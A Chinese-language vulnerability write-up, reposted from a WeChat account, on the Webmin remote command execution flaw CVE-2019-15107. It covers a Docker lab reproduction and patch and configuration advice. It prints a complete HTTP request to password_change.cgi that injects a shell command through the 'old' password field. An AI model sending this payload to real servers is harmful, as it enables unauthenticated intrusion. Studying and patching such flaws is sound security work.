Webmin 远程命令执行漏洞（CVE-2019-15107)

漏洞编号:

CVE-2019-15107

危害等级:高危

漏洞分类:通用型漏洞

漏洞描述:该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞，该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码

影响版本:Webmin<=1.920

利用方法(利用案例):

版本满足要求，且服务器的配置文件允许修改密码时，在不知道webmin的用户和密码条件下，可以任意执行代码。

漏洞复现:

环境搭建:在kali中用docker搭建靶场

用root账户修改密码

用root账户登录,登录之后点击authentication修改密码重置配置

https://192.168.110.164:10000/webmin/edit_session.cgi?xnavigation=1

然后再去查看webmin的配置文件

漏洞利用

访问/password_change.cgi链接，bp抓包注入命令

payload:

POST /password_change.cgi HTTP/1.1Host: your-ip:10000Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: https://your-ip:10000/session_login.cgiContent-Type: application/x-www-form-urlencodedContent-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

加固建议:

目前Webmin官方已发布最新版本Webmin 1.940 修复了该漏洞，请受影响的用户尽快升级至最新版本：

下载链接：http://webmin.com/download.html

临时解决方案：

1.900 到 1.920版本的用户，编辑Webmin配置文件：/etc/webmin/miniserv.conf，注释或删除“passwd_mode=”行，然后运行/etc/webmin/restart 重启服务命令。

原文始发于微信公众号（网络安全学习爱好者）：Webmin 远程命令执行漏洞（CVE-2019-15107)